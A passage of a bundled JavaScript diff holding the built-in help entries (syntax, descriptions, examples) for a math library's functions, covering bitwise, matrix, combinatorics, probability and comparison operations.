'-(-5.6)', '-"22"'], + 'seealso': ['add', 'subtract', 'unaryPlus'] +}; + +/***/ }), +/* 426 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'unaryPlus', + 'category': 'Operators', + 'syntax': ['+x', 'unaryPlus(x)'], + 'description': 'Converts booleans and strings to numbers.', + 'examples': ['+true', '+"2"'], + 'seealso': ['add', 'subtract', 'unaryMinus'] +}; + +/***/ }), +/* 427 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'xgcd', + 'category': 'Arithmetic', + 'syntax': ['xgcd(a, b)'], + 'description': 'Calculate the extended greatest common divisor for two values. The result is an array [d, x, y] with 3 entries, where d is the greatest common divisor, and d = x * a + y * b.', + 'examples': ['xgcd(8, 12)', 'gcd(8, 12)', 'xgcd(36163, 21199)'], + 'seealso': ['gcd', 'lcm'] +}; + +/***/ }), +/* 428 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'bitAnd', + 'category': 'Bitwise', + 'syntax': ['x & y', 'bitAnd(x, y)'], + 'description': 'Bitwise AND operation. Performs the logical AND operation on each pair of the corresponding bits of the two given values by multiplying them. If both bits in the compared position are 1, the bit in the resulting binary representation is 1, otherwise, the result is 0', + 'examples': ['5 & 3', 'bitAnd(53, 131)', '[1, 12, 31] & 42'], + 'seealso': ['bitNot', 'bitOr', 'bitXor', 'leftShift', 'rightArithShift', 'rightLogShift'] +}; + +/***/ }), +/* 429 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'bitNot', + 'category': 'Bitwise', + 'syntax': ['~x', 'bitNot(x)'], + 'description': 'Bitwise NOT operation. Performs a logical negation on each bit of the given value. Bits that are 0 become 1, and those that are 1 become 0.', + 'examples': ['~1', '~2', 'bitNot([2, -3, 4])'], + 'seealso': ['bitAnd', 'bitOr', 'bitXor', 'leftShift', 'rightArithShift', 'rightLogShift'] +}; + +/***/ }), +/* 430 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'bitOr', + 'category': 'Bitwise', + 'syntax': ['x | y', 'bitOr(x, y)'], + 'description': 'Bitwise OR operation. Performs the logical inclusive OR operation on each pair of corresponding bits of the two given values. The result in each position is 1 if the first bit is 1 or the second bit is 1 or both bits are 1, otherwise, the result is 0.', + 'examples': ['5 | 3', 'bitOr([1, 2, 3], 4)'], + 'seealso': ['bitAnd', 'bitNot', 'bitXor', 'leftShift', 'rightArithShift', 'rightLogShift'] +}; + +/***/ }), +/* 431 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'bitXor', + 'category': 'Bitwise', + 'syntax': ['bitXor(x, y)'], + 'description': 'Bitwise XOR operation, exclusive OR. Performs the logical exclusive OR operation on each pair of corresponding bits of the two given values. The result in each position is 1 if only the first bit is 1 or only the second bit is 1, but will be 0 if both are 0 or both are 1.', + 'examples': ['bitOr(1, 2)', 'bitXor([2, 3, 4], 4)'], + 'seealso': ['bitAnd', 'bitNot', 'bitOr', 'leftShift', 'rightArithShift', 'rightLogShift'] +}; + +/***/ }), +/* 432 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'leftShift', + 'category': 'Bitwise', + 'syntax': ['x << y', 'leftShift(x, y)'], + 'description': 'Bitwise left logical shift of a value x by y number of bits.', + 'examples': ['4 << 1', '8 >> 1'], + 'seealso': ['bitAnd', 'bitNot', 'bitOr', 'bitXor', 'rightArithShift', 'rightLogShift'] +}; + +/***/ }), +/* 433 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'rightArithShift', + 'category': 'Bitwise', + 'syntax': ['x >> y', 'rightArithShift(x, y)'], + 'description': 'Bitwise right arithmetic shift of a value x by y number of bits.', + 'examples': ['8 >> 1', '4 << 1', '-12 >> 2'], + 'seealso': ['bitAnd', 'bitNot', 'bitOr', 'bitXor', 'leftShift', 'rightLogShift'] +}; + +/***/ }), +/* 434 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'rightLogShift', + 'category': 'Bitwise', + 'syntax': ['x >>> y', 'rightLogShift(x, y)'], + 'description': 'Bitwise right logical shift of a value x by y number of bits.', + 'examples': ['8 >>> 1', '4 << 1', '-12 >>> 2'], + 'seealso': ['bitAnd', 'bitNot', 'bitOr', 'bitXor', 'leftShift', 'rightArithShift'] +}; + +/***/ }), +/* 435 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'bellNumbers', + 'category': 'Combinatorics', + 'syntax': ['bellNumbers(n)'], + 'description': 'The Bell Numbers count the number of partitions of a set. A partition is a pairwise disjoint subset of S whose union is S. `bellNumbers` only takes integer arguments. The following condition must be enforced: n >= 0.', + 'examples': ['bellNumbers(3)', 'bellNumbers(8)'], + 'seealso': ['stirlingS2'] +}; + +/***/ }), +/* 436 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'catalan', + 'category': 'Combinatorics', + 'syntax': ['catalan(n)'], + 'description': 'The Catalan Numbers enumerate combinatorial structures of many different types. catalan only takes integer arguments. The following condition must be enforced: n >= 0.', + 'examples': ['catalan(3)', 'catalan(8)'], + 'seealso': ['bellNumbers'] +}; + +/***/ }), +/* 437 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'composition', + 'category': 'Combinatorics', + 'syntax': ['composition(n, k)'], + 'description': 'The composition counts of n into k parts. composition only takes integer arguments. The following condition must be enforced: k <= n.', + 'examples': ['composition(5, 3)'], + 'seealso': ['combinations'] +}; + +/***/ }), +/* 438 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'stirlingS2', + 'category': 'Combinatorics', + 'syntax': ['stirlingS2(n, k)'], + 'description': 'he Stirling numbers of the second kind, counts the number of ways to partition a set of n labelled objects into k nonempty unlabelled subsets. `stirlingS2` only takes integer arguments. The following condition must be enforced: k <= n. If n = k or k = 1, then s(n,k) = 1.', + 'examples': ['stirlingS2(5, 3)'], + 'seealso': ['bellNumbers'] +}; + +/***/ }), +/* 439 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'config', + 'category': 'Core', + 'syntax': ['config()', 'config(options)'], + 'description': 'Get configuration or change configuration.', + 'examples': ['config()', '1/3 + 1/4', 'config({number: "Fraction"})', '1/3 + 1/4'], + 'seealso': [] +}; + +/***/ }), +/* 440 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'import', + 'category': 'Core', + 'syntax': ['import(functions)', 'import(functions, options)'], + 'description': 'Import functions or constants from an object.', + 'examples': ['import({myFn: f(x)=x^2, myConstant: 32 })', 'myFn(2)', 'myConstant'], + 'seealso': [] +}; + +/***/ }), +/* 441 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'typed', + 'category': 'Core', + 'syntax': ['typed(signatures)', 'typed(name, signatures)'], + 'description': 'Create a typed function.', + 'examples': ['double = typed({ "number, number": f(x)=x+x })', 'double(2)', 'double("hello")'], + 'seealso': [] +}; + +/***/ }), +/* 442 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'arg', + 'category': 'Complex', + 'syntax': ['arg(x)'], + 'description': 'Compute the argument of a complex value. If x = a+bi, the argument is computed as atan2(b, a).', + 'examples': ['arg(2 + 2i)', 'atan2(3, 2)', 'arg(2 + 3i)'], + 'seealso': ['re', 'im', 'conj', 'abs'] +}; + +/***/ }), +/* 443 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'conj', + 'category': 'Complex', + 'syntax': ['conj(x)'], + 'description': 'Compute the complex conjugate of a complex value. If x = a+bi, the complex conjugate is a-bi.', + 'examples': ['conj(2 + 3i)', 'conj(2 - 3i)', 'conj(-5.2i)'], + 'seealso': ['re', 'im', 'abs', 'arg'] +}; + +/***/ }), +/* 444 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 're', + 'category': 'Complex', + 'syntax': ['re(x)'], + 'description': 'Get the real part of a complex number.', + 'examples': ['re(2 + 3i)', 'im(2 + 3i)', 're(-5.2i)', 're(2.4)'], + 'seealso': ['im', 'conj', 'abs', 'arg'] +}; + +/***/ }), +/* 445 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'im', + 'category': 'Complex', + 'syntax': ['im(x)'], + 'description': 'Get the imaginary part of a complex number.', + 'examples': ['im(2 + 3i)', 're(2 + 3i)', 'im(-5.2i)', 'im(2.4)'], + 'seealso': ['re', 'conj', 'abs', 'arg'] +}; + +/***/ }), +/* 446 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'eval', + 'category': 'Expression', + 'syntax': ['eval(expression)', 'eval([expr1, expr2, expr3, ...])'], + 'description': 'Evaluate an expression or an array with expressions.', + 'examples': ['eval("2 + 3")', 'eval("sqrt(" + 4 + ")")'], + 'seealso': [] +}; + +/***/ }), +/* 447 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'help', + 'category': 'Expression', + 'syntax': ['help(object)', 'help(string)'], + 'description': 'Display documentation on a function or data type.', + 'examples': ['help(sqrt)', 'help("complex")'], + 'seealso': [] +}; + +/***/ }), +/* 448 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'distance', + 'category': 'Geometry', + 'syntax': ['distance([x1, y1], [x2, y2])', 'distance([[x1, y1], [x2, y2])'], + 'description': 'Calculates the Euclidean distance between two points.', + 'examples': ['distance([0,0], [4,4])', 'distance([[0,0], [4,4]])'], + 'seealso': [] +}; + +/***/ }), +/* 449 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'intersect', + 'category': 'Geometry', + 'syntax': ['intersect(expr1, expr2, expr3, expr4)', 'intersect(expr1, expr2, expr3)'], + 'description': 'Computes the intersection point of lines and/or planes.', + 'examples': ['intersect([0, 0], [10, 10], [10, 0], [0, 10])', 'intersect([1, 0, 1], [4, -2, 2], [1, 1, 1, 6])'], + 'seealso': [] +}; + +/***/ }), +/* 450 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'and', + 'category': 'Logical', + 'syntax': ['x and y', 'and(x, y)'], + 'description': 'Logical and. Test whether two values are both defined with a nonzero/nonempty value.', + 'examples': ['true and false', 'true and true', '2 and 4'], + 'seealso': ['not', 'or', 'xor'] +}; + +/***/ }), +/* 451 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'not', + 'category': 'Logical', + 'syntax': ['not x', 'not(x)'], + 'description': 'Logical not. Flips the boolean value of given argument.', + 'examples': ['not true', 'not false', 'not 2', 'not 0'], + 'seealso': ['and', 'or', 'xor'] +}; + +/***/ }), +/* 452 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'or', + 'category': 'Logical', + 'syntax': ['x or y', 'or(x, y)'], + 'description': 'Logical or. Test if at least one value is defined with a nonzero/nonempty value.', + 'examples': ['true or false', 'false or false', '0 or 4'], + 'seealso': ['not', 'and', 'xor'] +}; + +/***/ }), +/* 453 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'xor', + 'category': 'Logical', + 'syntax': ['x xor y', 'xor(x, y)'], + 'description': 'Logical exclusive or, xor. Test whether one and only one value is defined with a nonzero/nonempty value.', + 'examples': ['true xor false', 'false xor false', 'true xor true', '0 xor 4'], + 'seealso': ['not', 'and', 'or'] +}; + +/***/ }), +/* 454 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'column', + 'category': 'Matrix', + 'syntax': ['column(x, index)'], + 'description': 'Return a column from a matrix or array.', + 'examples': ['A = [[1, 2], [3, 4]]', 'column(A, 1)', 'column(A, 2)'], + 'seealso': ['row'] +}; + +/***/ }), +/* 455 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'concat', + 'category': 'Matrix', + 'syntax': ['concat(A, B, C, ...)', 'concat(A, B, C, ..., dim)'], + 'description': 'Concatenate matrices. By default, the matrices are concatenated by the last dimension. The dimension on which to concatenate can be provided as last argument.', + 'examples': ['A = [1, 2; 5, 6]', 'B = [3, 4; 7, 8]', 'concat(A, B)', 'concat(A, B, 1)', 'concat(A, B, 2)'], + 'seealso': ['det', 'diag', 'identity', 'inv', 'ones', 'range', 'size', 'squeeze', 'subset', 'trace', 'transpose', 'zeros'] +}; + +/***/ }), +/* 456 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'cross', + 'category': 'Matrix', + 'syntax': ['cross(A, B)'], + 'description': 'Calculate the cross product for two vectors in three dimensional space.', + 'examples': ['cross([1, 1, 0], [0, 1, 1])', 'cross([3, -3, 1], [4, 9, 2])', 'cross([2, 3, 4], [5, 6, 7])'], + 'seealso': ['multiply', 'dot'] +}; + +/***/ }), +/* 457 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'transpose', + 'category': 'Matrix', + 'syntax': ['x\'', 'ctranspose(x)'], + 'description': 'Complex Conjugate and Transpose a matrix', + 'examples': ['a = [1, 2, 3; 4, 5, 6]', 'a\'', 'ctranspose(a)'], + 'seealso': ['concat', 'det', 'diag', 'identity', 'inv', 'ones', 'range', 'size', 'squeeze', 'subset', 'trace', 'zeros'] +}; + +/***/ }), +/* 458 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'det', + 'category': 'Matrix', + 'syntax': ['det(x)'], + 'description': 'Calculate the determinant of a matrix', + 'examples': ['det([1, 2; 3, 4])', 'det([-2, 2, 3; -1, 1, 3; 2, 0, -1])'], + 'seealso': ['concat', 'diag', 'identity', 'inv', 'ones', 'range', 'size', 'squeeze', 'subset', 'trace', 'transpose', 'zeros'] +}; + +/***/ }), +/* 459 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'diag', + 'category': 'Matrix', + 'syntax': ['diag(x)', 'diag(x, k)'], + 'description': 'Create a diagonal matrix or retrieve the diagonal of a matrix. When x is a vector, a matrix with the vector values on the diagonal will be returned. When x is a matrix, a vector with the diagonal values of the matrix is returned. When k is provided, the k-th diagonal will be filled in or retrieved, if k is positive, the values are placed on the super diagonal. When k is negative, the values are placed on the sub diagonal.', + 'examples': ['diag(1:3)', 'diag(1:3, 1)', 'a = [1, 2, 3; 4, 5, 6; 7, 8, 9]', 'diag(a)'], + 'seealso': ['concat', 'det', 'identity', 'inv', 'ones', 'range', 'size', 'squeeze', 'subset', 'trace', 'transpose', 'zeros'] +}; + +/***/ }), +/* 460 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'dot', + 'category': 'Matrix', + 'syntax': ['dot(A, B)', 'A * B'], + 'description': 'Calculate the dot product of two vectors. ' + 'The dot product of A = [a1, a2, a3, ..., an] and B = [b1, b2, b3, ..., bn] ' + 'is defined as dot(A, B) = a1 * b1 + a2 * b2 + a3 * b3 + ... + an * bn', + 'examples': ['dot([2, 4, 1], [2, 2, 3])', '[2, 4, 1] * [2, 2, 3]'], + 'seealso': ['multiply', 'cross'] +}; + +/***/ }), +/* 461 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'getMatrixDataType', + 'category': 'Matrix', + 'syntax': ['getMatrixDataType(x)'], + 'description': 'Find the data type of all elements in a matrix or array, ' + 'for example "number" if all items are a number ' + 'and "Complex" if all values are complex numbers. ' + 'If a matrix contains more than one data type, it will return "mixed".', + 'examples': ['getMatrixDataType([1, 2, 3])', 'getMatrixDataType([[5 cm], [2 inch]])', 'getMatrixDataType([1, "text"])', 'getMatrixDataType([1, bignumber(4)])'], + 'seealso': ['matrix', 'sparse', 'typeof'] +}; + +/***/ }), +/* 462 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'identity', + 'category': 'Matrix', + 'syntax': ['identity(n)', 'identity(m, n)', 'identity([m, n])'], + 'description': 'Returns the identity matrix with size m-by-n. The matrix has ones on the diagonal and zeros elsewhere.', + 'examples': ['identity(3)', 'identity(3, 5)', 'a = [1, 2, 3; 4, 5, 6]', 'identity(size(a))'], + 'seealso': ['concat', 'det', 'diag', 'inv', 'ones', 'range', 'size', 'squeeze', 'subset', 'trace', 'transpose', 'zeros'] +}; + +/***/ }), +/* 463 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'filter', + 'category': 'Matrix', + 'syntax': ['filter(x, test)'], + 'description': 'Filter items in a matrix.', + 'examples': ['isPositive(x) = x > 0', 'filter([6, -2, -1, 4, 3], isPositive)', 'filter([6, -2, 0, 1, 0], x != 0)'], + 'seealso': ['sort', 'map', 'forEach'] +}; + +/***/ }), +/* 464 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'flatten', + 'category': 'Matrix', + 'syntax': ['flatten(x)'], + 'description': 'Flatten a multi dimensional matrix into a single dimensional matrix.', + 'examples': ['a = [1, 2, 3; 4, 5, 6]', 'size(a)', 'b = flatten(a)', 'size(b)'], + 'seealso': ['concat', 'resize', 'size', 'squeeze'] +}; + +/***/ }), +/* 465 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'forEach', + 'category': 'Matrix', + 'syntax': ['forEach(x, callback)'], + 'description': 'Iterates over all elements of a matrix/array, and executes the given callback function.', + 'examples': ['forEach([1, 2, 3], function(val) { console.log(val) })'], + 'seealso': ['map', 'sort', 'filter'] +}; + +/***/ }), +/* 466 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'inv', + 'category': 'Matrix', + 'syntax': ['inv(x)'], + 'description': 'Calculate the inverse of a matrix', + 'examples': ['inv([1, 2; 3, 4])', 'inv(4)', '1 / 4'], + 'seealso': ['concat', 'det', 'diag', 'identity', 'ones', 'range', 'size', 'squeeze', 'subset', 'trace', 'transpose', 'zeros'] +}; + +/***/ }), +/* 467 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'kron', + 'category': 'Matrix', + 'syntax': ['kron(x, y)'], + 'description': 'Calculates the kronecker product of 2 matrices or vectors.', + 'examples': ['kron([[1, 0], [0, 1]], [[1, 2], [3, 4]])', 'kron([1,1], [2,3,4])'], + 'seealso': ['multiply', 'dot', 'cross'] +}; + +/***/ }), +/* 468 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'map', + 'category': 'Matrix', + 'syntax': ['map(x, callback)'], + 'description': 'Create a new matrix or array with the results of the callback function executed on each entry of the matrix/array.', + 'examples': ['map([1, 2, 3], square)'], + 'seealso': ['filter', 'forEach'] +}; + +/***/ }), +/* 469 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'ones', + 'category': 'Matrix', + 'syntax': ['ones(m)', 'ones(m, n)', 'ones(m, n, p, ...)', 'ones([m])', 'ones([m, n])', 'ones([m, n, p, ...])'], + 'description': 'Create a matrix containing ones.', + 'examples': ['ones(3)', 'ones(3, 5)', 'ones([2,3]) * 4.5', 'a = [1, 2, 3; 4, 5, 6]', 'ones(size(a))'], + 'seealso': ['concat', 'det', 'diag', 'identity', 'inv', 'range', 'size', 'squeeze', 'subset', 'trace', 'transpose', 'zeros'] +}; + +/***/ }), +/* 470 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'partitionSelect', + 'category': 'Matrix', + 'syntax': ['partitionSelect(x, k)', 'partitionSelect(x, k, compare)'], + 'description': 'Partition-based selection of an array or 1D matrix. Will find the kth smallest value, and mutates the input array. Uses Quickselect.', + 'examples': ['partitionSelect([5, 10, 1], 2)', 'partitionSelect(["C", "B", "A", "D"], 1)'], + 'seealso': ['sort'] +}; + +/***/ }), +/* 471 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'range', + 'category': 'Type', + 'syntax': ['start:end', 'start:step:end', 'range(start, end)', 'range(start, end, step)', 'range(string)'], + 'description': 'Create a range. Lower bound of the range is included, upper bound is excluded.', + 'examples': ['1:5', '3:-1:-3', 'range(3, 7)', 'range(0, 12, 2)', 'range("4:10")', 'a = [1, 2, 3, 4; 5, 6, 7, 8]', 'a[1:2, 1:2]'], + 'seealso': ['concat', 'det', 'diag', 'identity', 'inv', 'ones', 'size', 'squeeze', 'subset', 'trace', 'transpose', 'zeros'] +}; + +/***/ }), +/* 472 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'resize', + 'category': 'Matrix', + 'syntax': ['resize(x, size)', 'resize(x, size, defaultValue)'], + 'description': 'Resize a matrix.', + 'examples': ['resize([1,2,3,4,5], [3])', 'resize([1,2,3], [5])', 'resize([1,2,3], [5], -1)', 'resize(2, [2, 3])', 'resize("hello", [8], "!")'], + 'seealso': ['size', 'subset', 'squeeze', 'reshape'] +}; + +/***/ }), +/* 473 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'reshape', + 'category': 'Matrix', + 'syntax': ['reshape(x, sizes)'], + 'description': 'Reshape a multi dimensional array to fit the specified dimensions.', + 'examples': ['reshape([1, 2, 3, 4, 5, 6], [2, 3])', 'reshape([[1, 2], [3, 4]], [1, 4])', 'reshape([[1, 2], [3, 4]], [4])'], + 'seealso': ['size', 'squeeze', 'resize'] +}; + +/***/ }), +/* 474 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'row', + 'category': 'Matrix', + 'syntax': ['row(x, index)'], + 'description': 'Return a row from a matrix or array.', + 'examples': ['A = [[1, 2], [3, 4]]', 'row(A, 1)', 'row(A, 2)'], + 'seealso': ['column'] +}; + +/***/ }), +/* 475 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'size', + 'category': 'Matrix', + 'syntax': ['size(x)'], + 'description': 'Calculate the size of a matrix.', + 'examples': ['size(2.3)', 'size("hello world")', 'a = [1, 2; 3, 4; 5, 6]', 'size(a)', 'size(1:6)'], + 'seealso': ['concat', 'det', 'diag', 'identity', 'inv', 'ones', 'range', 'squeeze', 'subset', 'trace', 'transpose', 'zeros'] +}; + +/***/ }), +/* 476 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'sort', + 'category': 'Matrix', + 'syntax': ['sort(x)', 'sort(x, compare)'], + 'description': 'Sort the items in a matrix. Compare can be a string "asc", "desc", "natural", or a custom sort function.', + 'examples': ['sort([5, 10, 1])', 'sort(["C", "B", "A", "D"])', 'sortByLength(a, b) = size(a)[1] - size(b)[1]', 'sort(["Langdon", "Tom", "Sara"], sortByLength)', 'sort(["10", "1", "2"], "natural")'], + 'seealso': ['map', 'filter', 'forEach'] +}; + +/***/ }), +/* 477 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'squeeze', + 'category': 'Matrix', + 'syntax': ['squeeze(x)'], + 'description': 'Remove inner and outer singleton dimensions from a matrix.', + 'examples': ['a = zeros(3,2,1)', 'size(squeeze(a))', 'b = zeros(1,1,3)', 'size(squeeze(b))'], + 'seealso': ['concat', 'det', 'diag', 'identity', 'inv', 'ones', 'range', 'size', 'subset', 'trace', 'transpose', 'zeros'] +}; + +/***/ }), +/* 478 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'subset', + 'category': 'Matrix', + 'syntax': ['value(index)', 'value(index) = replacement', 'subset(value, [index])', 'subset(value, [index], replacement)'], + 'description': 'Get or set a subset of a matrix or string. ' + 'Indexes are one-based. ' + 'Both the ranges lower-bound and upper-bound are included.', + 'examples': ['d = [1, 2; 3, 4]', 'e = []', 'e[1, 1:2] = [5, 6]', 'e[2, :] = [7, 8]', 'f = d * e', 'f[2, 1]', 'f[:, 1]'], + 'seealso': ['concat', 'det', 'diag', 'identity', 'inv', 'ones', 'range', 'size', 'squeeze', 'trace', 'transpose', 'zeros'] +}; + +/***/ }), +/* 479 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'trace', + 'category': 'Matrix', + 'syntax': ['trace(A)'], + 'description': 'Calculate the trace of a matrix: the sum of the elements on the main diagonal of a square matrix.', + 'examples': ['A = [1, 2, 3; -1, 2, 3; 2, 0, 3]', 'trace(A)'], + 'seealso': ['concat', 'det', 'diag', 'identity', 'inv', 'ones', 'range', 'size', 'squeeze', 'subset', 'transpose', 'zeros'] +}; + +/***/ }), +/* 480 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'transpose', + 'category': 'Matrix', + 'syntax': ['x\'', 'transpose(x)'], + 'description': 'Transpose a matrix', + 'examples': ['a = [1, 2, 3; 4, 5, 6]', 'a\'', 'transpose(a)'], + 'seealso': ['concat', 'det', 'diag', 'identity', 'inv', 'ones', 'range', 'size', 'squeeze', 'subset', 'trace', 'zeros'] +}; + +/***/ }), +/* 481 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'zeros', + 'category': 'Matrix', + 'syntax': ['zeros(m)', 'zeros(m, n)', 'zeros(m, n, p, ...)', 'zeros([m])', 'zeros([m, n])', 'zeros([m, n, p, ...])'], + 'description': 'Create a matrix containing zeros.', + 'examples': ['zeros(3)', 'zeros(3, 5)', 'a = [1, 2, 3; 4, 5, 6]', 'zeros(size(a))'], + 'seealso': ['concat', 'det', 'diag', 'identity', 'inv', 'ones', 'range', 'size', 'squeeze', 'subset', 'trace', 'transpose'] +}; + +/***/ }), +/* 482 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'combinations', + 'category': 'Probability', + 'syntax': ['combinations(n, k)'], + 'description': 'Compute the number of combinations of n items taken k at a time', + 'examples': ['combinations(7, 5)'], + 'seealso': ['permutations', 'factorial'] +}; + +/***/ }), +/* 483 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'factorial', + 'category': 'Probability', + 'syntax': ['n!', 'factorial(n)'], + 'description': 'Compute the factorial of a value', + 'examples': ['5!', '5 * 4 * 3 * 2 * 1', '3!'], + 'seealso': ['combinations', 'permutations', 'gamma'] +}; + +/***/ }), +/* 484 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'gamma', + 'category': 'Probability', + 'syntax': ['gamma(n)'], + 'description': 'Compute the gamma function. For small values, the Lanczos approximation is used, and for large values the extended Stirling approximation.', + 'examples': ['gamma(4)', '3!', 'gamma(1/2)', 'sqrt(pi)'], + 'seealso': ['factorial'] +}; + +/***/ }), +/* 485 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'kldivergence', + 'category': 'Probability', + 'syntax': ['kldivergence(x, y)'], + 'description': 'Calculate the Kullback-Leibler (KL) divergence between two distributions.', + 'examples': ['kldivergence([0.7,0.5,0.4], [0.2,0.9,0.5])'], + 'seealso': [] +}; + +/***/ }), +/* 486 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'multinomial', + 'category': 'Probability', + 'syntax': ['multinomial(A)'], + 'description': 'Multinomial Coefficients compute the number of ways of picking a1, a2, ..., ai unordered outcomes from `n` possibilities. multinomial takes one array of integers as an argument. The following condition must be enforced: every ai > 0.', + 'examples': ['multinomial([1, 2, 1])'], + 'seealso': ['combinations', 'factorial'] +}; + +/***/ }), +/* 487 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'permutations', + 'category': 'Probability', + 'syntax': ['permutations(n)', 'permutations(n, k)'], + 'description': 'Compute the number of permutations of n items taken k at a time', + 'examples': ['permutations(5)', 'permutations(5, 3)'], + 'seealso': ['combinations', 'factorial'] +}; + +/***/ }), +/* 488 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'pickRandom', + 'category': 'Probability', + 'syntax': ['pickRandom(array)', 'pickRandom(array, number)', 'pickRandom(array, weights)', 'pickRandom(array, number, weights)', 'pickRandom(array, weights, number)'], + 'description': 'Pick a random entry from a given array.', + 'examples': ['pickRandom(0:10)', 'pickRandom([1, 3, 1, 6])', 'pickRandom([1, 3, 1, 6], 2)', 'pickRandom([1, 3, 1, 6], [2, 3, 2, 1])', 'pickRandom([1, 3, 1, 6], 2, [2, 3, 2, 1])', 'pickRandom([1, 3, 1, 6], [2, 3, 2, 1], 2)'], + 'seealso': ['random', 'randomInt'] +}; + +/***/ }), +/* 489 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'random', + 'category': 'Probability', + 'syntax': ['random()', 'random(max)', 'random(min, max)', 'random(size)', 'random(size, max)', 'random(size, min, max)'], + 'description': 'Return a random number.', + 'examples': ['random()', 'random(10, 20)', 'random([2, 3])'], + 'seealso': ['pickRandom', 'randomInt'] +}; + +/***/ }), +/* 490 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'randomInt', + 'category': 'Probability', + 'syntax': ['randomInt(max)', 'randomInt(min, max)', 'randomInt(size)', 'randomInt(size, max)', 'randomInt(size, min, max)'], + 'description': 'Return a random integer number', + 'examples': ['randomInt(10, 20)', 'randomInt([2, 3], 10)'], + 'seealso': ['pickRandom', 'random'] +}; + +/***/ }), +/* 491 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'compare', + 'category': 'Relational', + 'syntax': ['compare(x, y)'], + 'description': 'Compare two values. ' + 'Returns 1 when x > y, -1 when x < y, and 0 when x == y.', + 'examples': ['compare(2, 3)', 'compare(3, 2)', 'compare(2, 2)', 'compare(5cm, 40mm)', 'compare(2, [1, 2, 3])'], + 'seealso': ['equal', 'unequal', 'smaller', 'smallerEq', 'largerEq', 'compareNatural', 'compareText'] +}; + +/***/ }), +/* 492 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'compareNatural', + 'category': 'Relational', + 'syntax': ['compareNatural(x, y)'], + 'description': 'Compare two values of any type in a deterministic, natural way. ' + 'Returns 1 when x > y, -1 when x < y, and 0 when x == y.', + 'examples': ['compareNatural(2, 3)', 'compareNatural(3, 2)', 'compareNatural(2, 2)', 'compareNatural(5cm, 40mm)', 'compareNatural("2", "10")', 'compareNatural(2 + 3i, 2 + 4i)', 'compareNatural([1, 2, 4], [1, 2, 3])', 'compareNatural([1, 5], [1, 2, 3])', 'compareNatural([1, 2], [1, 2])', 'compareNatural({a: 2}, {a: 4})'], + 'seealso': ['equal', 'unequal', 'smaller', 'smallerEq', 'largerEq', 'compare', 'compareText'] +}; + +/***/ }), +/* 493 */ +/***/ (function(module, exports) { + +module.exports = { + 'name': 'compareText', + 'category': 'Relational', + 'syntax': ['compareText(x, y)'], + 'description': 'Compare two strings lexically. Comparison is case sensitive. ' + 'Returns 1 when x > y, -1 when x < y, and 0 when x == y.', + 'examples': ['compareText("B", "A")', 'compareText("A", "B")', 'compareText("A", "A")', 'compareText("2", "10")', 'compare("2", "10")', 'compare(2, 10)', 'compareNatural("2", "10")', 'compareText("B", ["A", "B", "C"])'], + 'seealso': ['compare', 'compareNatural'] +}; + +/***/ }), 